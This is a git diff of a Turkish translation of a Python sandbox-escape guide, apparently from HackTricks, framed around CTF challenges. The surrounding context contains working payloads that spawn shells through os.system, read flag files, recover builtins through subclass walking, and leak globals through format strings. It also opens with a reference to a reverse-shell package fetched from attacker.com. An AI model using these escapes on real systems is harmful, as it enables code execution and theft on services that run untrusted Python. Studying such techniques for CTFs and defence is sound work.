"http://attacker.com/Rerverse.tar.gz"]) @@ -104,7 +104,7 @@ Reverse shell oluşturmak için paketi buradan indirebilirsiniz. Kullanmadan ön {% file src="../../../.gitbook/assets/reverse.tar.gz" %} {% hint style="info" %} -Bu paket `Reverse` olarak adlandırılmaktadır. Ancak, ters shell'den çıktıktan sonra geri kalan kurulumun başarısız olması için özel olarak hazırlandı, böylece sunucuda ayrıca **herhangi bir ek python paketi bırakmazsınız**. +Bu paket `Reverse` olarak adlandırılmaktadır. Ancak, ters shell'den çıktıktan sonra geri kalan kurulumun başarısız olmasını sağlayacak şekilde özel olarak hazırlandı, böylece sunucuda ayrıca **herhangi bir ek python paketi bırakmazsınız**. {% endhint %} ## Python kodunu değerlendirme @@ -170,13 +170,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Ayrıca, diğer kodlamaları kullanarak da bunu atlayabilirsiniz, örneğin `raw_unicode_escape` ve `unicode_escape`. +Ayrıca, diğer kodlamaları kullanarak da atlatmak mümkündür, örneğin `raw_unicode_escape` ve `unicode_escape`. ## Çağrı yapmadan Python yürütme -Eğer **çağrı yapmanıza izin vermeyen** bir python hapishanesindeyseniz, yine de **keyfi fonksiyonlar, kod** ve **komutlar** yürütmek için bazı yollar vardır. +Eğer **çağrı yapmanıza izin vermeyen bir Python hapishanesinde** iseniz, yine de **keyfi fonksiyonlar, kod** ve **komutlar** yürütmek için bazı yollar vardır. -### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile Uzaktan Kod Yürütme (RCE) +### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile Uzaktan Kod Çalıştırma (RCE) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -200,11 +200,11 @@ class _:pass ``` ### RCE nesneler oluşturma ve aşırı yükleme -Eğer bir **sınıf bildirebilir** ve **bu sınıfın bir nesnesini oluşturabilirseniz**, doğrudan **çağırmadan** **tetiklenebilen** **farklı yöntemler yazabilir/yeniden yazabilirsiniz**. +Eğer bir **sınıf bildirebilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **farklı yöntemleri yazabilir/yeniden yazabilirsiniz** ve bunlar **doğrudan çağrılmadan tetiklenebilir**. #### Özel sınıflarla RCE -Bazı **sınıf yöntemlerini** değiştirebilirsiniz (_mevcut sınıf yöntemlerini üzerine yazarak veya yeni bir sınıf oluşturarak_), böylece doğrudan çağırmadan **tetiklendiğinde** **keyfi kodları yürütebilirsiniz**. +Bazı **sınıf yöntemlerini** değiştirebilirsiniz (_mevcut sınıf yöntemlerini üzerine yazarak veya yeni bir sınıf oluşturarak_), böylece bunlar **doğrudan çağrılmadan tetiklendiğinde** **keyfi kodları yürütebilirsiniz**. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -256,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### [Metaclass](https://docs.python.org/3/reference/datamodel.html#metaclasses) kullanarak nesneler oluşturma -Metaclass'ların bize izin verdiği temel şey, hedef sınıfın metaclass olarak kullanılarak yeni bir sınıf oluşturularak, doğrudan yapıcıyı çağırmadan bir sınıf örneği oluşturmaktır. +Metaclass'ların bize izin verdiği temel şey, hedef sınıfın metaclass olarak kullanıldığı yeni bir sınıf oluşturarak, doğrudan kurucuyu çağırmadan bir sınıf örneği oluşturmaktır. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -273,7 +273,7 @@ Sub['import os; os.system("sh")'] ``` #### İstisnalarla nesneler oluşturma -Bir **istisna tetiklendiğinde**, **Exception**'ın nesnesi **doğrudan yapıcıyı çağırmadan oluşturulur** ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)'den bir hile): +Bir **istisna tetiklendiğinde**, **Exception**'ın nesnesi **doğrudan yapıcıyı çağırmadan oluşturulur** ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)’den bir hile): ```python class RCE(Exception): def __init__(self): @@ -315,7 +315,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### builtins yardımıyla dosya okuma ve lisans +### Yerleşik yardım ve lisans ile dosya okuma ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -334,12 +334,12 @@ Eğer **`__builtins__`** nesnesine erişebilirseniz kütüphaneleri içe aktarab __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### Dahili Fonksiyonlar +### __builtins__ Yoksa -`__builtins__`'e sahip olmadığınızda hiçbir şeyi içe aktaramayacak veya hatta dosya okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\ -Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller zararsız görünebilir, ancak bazıları içlerinde **tehlikeli** işlevsellikler içeren şeyleri de **içe aktarabilir** ve hatta **keyfi kod yürütme** elde etmek için erişilebilir. +`__builtins__`'e sahip değilseniz, hiçbir şeyi içe aktaramayacak veya hatta dosya okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\ +Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller zararsız görünebilir, ancak bazıları içlerinde **tehlikeli** işlevsellikler içeren **de** modüller **içe aktarır** ki bunlara erişilerek hatta **keyfi kod yürütme** elde edilebilir. -Aşağıdaki örneklerde, bu "**zararsız**" modüllerin **içinde yüklü** olan **tehlikeli işlevselliklere** nasıl **kötüye kullanabileceğinizi** görebilirsiniz. +Aşağıdaki örneklerde, bu "**zararsız**" modüllerin bazılarını **kötüye kullanarak** içlerindeki **tehlikeli işlevselliğe** nasıl **erişileceğini** gözlemleyebilirsiniz. **Python2** ```python @@ -383,7 +383,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve burada **yüzlerce yerde** **builtins** bulabileceğiniz **yerler** bulunmaktadır. +[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve burada **yüzlerce yerde** **builtins** bulabileceğiniz yerler bulunmaktadır. #### Python2 ve Python3 ```python @@ -425,15 +425,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) **bulunmaktadır** ve **yüzlerce yerde** **globals**'ı bulabilirsiniz. +[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve burada **yüzlerce yerde** **globals** bulabileceğiniz. ## Keyfi Yürütme Keşfi -Burada, **daha tehlikeli işlevselliklerin keşfini** kolayca nasıl yapabileceğinizi açıklamak ve daha güvenilir saldırıları önermek istiyorum. +Burada, **daha tehlikeli işlevlerin yüklendiğini kolayca keşfetmenin** ve daha güvenilir saldırıları önermenin nasıl olduğunu açıklamak istiyorum. #### Atlatmalarla alt sınıflara erişme -Bu teknikte en hassas kısımlardan biri, **temel alt sınıflara erişebilmektir**. Önceki örneklerde bunu `''.__class__.__base__.__subclasses__()` kullanarak yaptık ancak **başka olası yollar** da vardır: +Bu teknikte en hassas kısımlardan biri, **temel alt sınıflara erişebilmektir**. Önceki örneklerde bunu `''.__class__.__base__.__subclasses__()` kullanarak yapmıştık ancak **başka mümkün yollar** da vardır: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -463,7 +463,7 @@ defined_func.__class__.__base__.__subclasses__() ``` ### Tehlikeli kütüphanelerin yüklenmesini bulma -Örneğin, **`sys`** kütüphanesi ile **keyfi kütüphanelerin içe aktarılabilir** olduğunu bildiğinizde, içlerinde **sys**'i içe aktaran tüm **yüklenen modülleri** arayabilirsiniz: +Örneğin, **`sys`** kütüphanesi ile **keyfi kütüphanelerin içe aktarılabilir** olduğunu bildiğinizde, içlerinde **sys'i içe aktaran tüm yüklenen modülleri** arayabilirsiniz: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] @@ -472,7 +472,7 @@ defined_func.__class__.__base__.__subclasses__() ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -Aynı şeyi **diğer kütüphanelerle** de yapabiliriz ki bunlar **komutları yürütmek** için kullanılabileceğimizi biliyoruz: +Aynı şeyi yapabiliriz, sadece **diğer kütüphanelerle** biliriz ki **komutları yürütmek** için kullanılabilir: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -526,7 +526,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Ayrıca, eğer **diğer kütüphanelerin** komutları **çalıştırmak için fonksiyonları çağırabileceğini** düşünüyorsanız, olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz**: +Ayrıca, eğer **diğer kütüphanelerin** de **komutları yürütmek için fonksiyonları çağırabileceğini** düşünüyorsanız, olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz**: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -558,7 +558,7 @@ execfile: execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close ``` -## Yinelemeli Arama ile Yerleşik Fonksiyonlar, Global Değişkenler... +## Yinelemeli Builtins, Globals Araması {% hint style="warning" %} Bu sadece **harika**. Eğer **globals, builtins, open veya herhangi bir nesneyi** arıyorsanız, bu betiği kullanarak **o nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz.** @@ -684,9 +684,9 @@ Bu betiğin çıktısını bu sayfada kontrol edebilirsiniz: [broken-reference](broken-reference/) {% endcontent-ref %} -## Python Biçim Dizesi +## Python Format String -Eğer python'a **biçimlendirilecek bir dize gönderirseniz**, `{}` kullanarak **python iç bilgilerine erişebilirsiniz**. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz. +Eğer python'a **biçimlendirilecek bir dize** gönderirseniz, `{}` kullanarak **python iç bilgilerine** erişebilirsiniz. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz. {% hint style="info" %} Ancak, bir **kısıtlama** bulunmaktadır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle **keyfi kodları yürütemezsiniz**, yalnızca bilgi okuyabilirsiniz.\ @@ -715,7 +715,7 @@ Dikkat edin ki bir nesnenin özelliklerine **nokta** ile normal bir şekilde eri Ayrıca bir nesnenin elemanlarını numaralandırmak için `.__dict__` kullanabilirsiniz, örneğin `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Biçim dizelerinden bazı diğer ilginç özellikler, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olasılığıdır: +Biçim dizelerinden bazı diğer ilginç özellikler, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **çalıştırma** olasılığıdır, bunu **`!s`**, **`!r`**, **`!a`** ekleyerek yapabilirsiniz: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) @@ -731,7 +731,7 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**Daha fazla örnek** **format** **dizesi** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir. +**Daha fazla örnek**, **dize** **biçimi** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir. {% hint style="danger" %} Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar için aşağıdaki sayfayı da kontrol edin: @@ -755,12 +755,12 @@ Ayrıca, Python dahili nesnelerden **duyarlı bilgileri okuyacak** araçlar içi ## Python Nesnelerini İnceleme {% hint style="info" %} -Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, bu konu hakkında harika bir yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +**Python bytecode** hakkında derinlemesine bilgi edinmek istiyorsanız, bu konu hakkında harika bir yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) {% endhint %} -Bazı CTF'lerde, **bayrağın bulunduğu özel bir fonksiyonun adı** size verilebilir ve bayrağı çıkarmak için **fonksiyonun iç yapısını** görmek zorunda kalabilirsiniz. +Bazı CTF'lerde, **bayrağın bulunduğu özel bir fonksiyonun adı** size verilebilir ve bunu çıkarmak için **fonksiyonun iç yapısını** görmek zorunda kalabilirsiniz. -İncelenmesi gereken fonksiyon: +İncelemek için verilen fonksiyon: ```python def get_flag(some_input): var1=1 @@ -782,7 +782,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` ve `func_globals`(Aynı) Global ortamı elde eder. Örnekte, içe aktarılan bazı modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz: +`__globals__` ve `func_globals` (Aynı) Global ortamı elde eder. Örnekte, bazı içe aktarılan modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz: ```python get_flag.func_globals get_flag.__globals__ @@ -855,7 +855,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **Fonksiyonun Ayrıştırılması** +### **Fonksiyonu Ayrıştırma** ```python import dis dis.dis(get_flag) @@ -883,7 +883,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Dikkat edin ki, eğer python kum havuzunda `dis`i içe aktaramazsanız, fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **çözebilirsiniz**. Yüklenen değişkenlerin içeriğini görmeyeceksiniz (`LOAD_CONST`) ancak `LOAD_CONST` değişkenin yüklenme ofsetini söylediği için onları (`get_flag.func_code.co_consts`) tahmin edebilirsiniz. +Fark edin ki, eğer python kum havuzunda `dis`i içe aktaramazsanız, fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edebilir ve yerel olarak **çözümleyebilirsiniz**. Yüklenen değişkenlerin içeriğini görmeyeceksiniz (`LOAD_CONST`) ancak yüklenen değişkenin ofsetini (`LOAD_CONST`) yüklenen değişkenin ofsetini de (`get_flag.func_code.co_consts`) tahmin edebilirsiniz. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -907,8 +907,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ``` ## Python Derlemesi -Şimdi, bir fonksiyon hakkında **çalıştıramadığınız bilgileri dökümleyebileceğinizi** varsayalım ama bu fonksiyonu **çalıştırmanız gerekiyor**.\ -Aşağıdaki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebilirsiniz**, ancak disasemble'ı okuyarak **bayrağı nasıl hesaplayacağınızı bilmiyorsunuz** (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_). +Şimdi, bir fonksiyon hakkında **çalıştıramadığınız bilgileri dökümleyebileceğinizi** ancak bunu **çalıştırmanız gerektiğini** hayal edelim.\ +Aşağıdaki örnekte olduğu gibi, o fonksiyonun **kod nesnesine erişebilirsiniz**, ancak disasemble'ı okuyarak **bayrağı nasıl hesaplayacağınızı bilmiyorsunuz** (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_) ```python def get_flag(some_input): var1=1 @@ -952,7 +952,7 @@ types.CodeType.__doc__ ### Sızdırılan bir fonksiyonu yeniden oluşturma {% hint style="warning" %} -Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. Bir **gerçek örnekte**, fonksiyonu yürütmek için gereken tüm **değerlerin** sızdırılması gerekecektir. +Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. **Gerçek bir örnekte**, fonksiyonu yürütmek için gereken tüm **değerlerin** sızdırılması gereken şeydir. {% endhint %} ```python fc = get_flag.__code__ @@ -966,10 +966,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Savunmaları Atlatma -Bu yazının başlangıcındaki önceki örneklerde, `compile` fonksiyonunu kullanarak **herhangi bir python kodunu nasıl yürüteceğinizi** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyi içeren tüm betikleri** bir **tek satırda** yürütebilirsiniz (ve aynısını **`exec`** kullanarak yapabilirdik).\ -Neyse ki, bazen yerel bir makinede bir **derlenmiş nesne oluşturmak** ve bunu **CTF makinesinde yürütmek** faydalı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip olmadığımız için). +Bu yazının başlangıcındaki önceki örneklerde, `compile` fonksiyonunu kullanarak **herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyi içeren tüm betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynısını **`exec`** kullanarak da yapabilirdik).\ +Neyse, bazen yerel bir makinede bir **derlenmiş nesne oluşturmak** ve bunu **CTF makinesinde** çalıştırmak yararlı olabilir (örneğin, CTF'de `compile` fonksiyonuna sahip olmadığımız için). -Örneğin, _./poc.py_ dosyasını okuyan bir işlevi manuel olarak derleyip yürütelim: +Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım: ```python #Locally def read(): @@ -996,7 +996,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Eğer `eval` veya `exec`'e erişim sağlayamıyorsanız, **uygun bir fonksiyon** oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle başarısız olacaktır: _sınırlı modda constructor erişilemez_. Bu nedenle, bu fonksiyonu çağırmak için **sınırlı ortamda olmayan bir fonksiyona ihtiyacınız vardır.** +Eğer `eval` veya `exec`'e erişim sağlayamıyorsanız, genellikle doğru bir fonksiyon oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle başarısız olacaktır: _constructor not accessible in restricted mode_. Bu nedenle, bu fonksiyonu çağırmak için kısıtlı ortamda olmayan bir fonksiyona ihtiyacınız vardır. ```python #Compile a regular print ftype = type(lambda: None) @@ -1018,8 +1018,8 @@ f(42) ### Assert -Optimizasyonlarla çalıştırılan Python, `-O` parametresi ile **assert** ifadelerini ve **debug** değerine bağlı olarak yapılan herhangi bir kodu kaldıracaktır.\ -Bu nedenle, aşağıdaki gibi kontroller: +Optimizasyonlarla çalıştırılan Python, `-O` parametresi ile çalıştırıldığında **assert** ifadelerini ve **debug** değerine bağlı olarak yapılan herhangi bir kodu kaldıracaktır.\ +Bu nedenle, şu gibi kontroller: ```python def check_permission(super_user): try: @@ -1039,20 +1039,20 @@ print(f"\nNot a Super User!!!\n") **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/generic-methodologies-and-resources/shells/linux.md b/generic-methodologies-and-resources/shells/linux.md index 5b2bc118c..f5ecb0ac1 100644 --- a/generic-methodologies-and-resources/shells/linux.md +++ b/generic-methodologies-and-resources/shells/linux.md @@ -2,21 +2,21 @@
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz * **Katılın** 💬 [**Discord 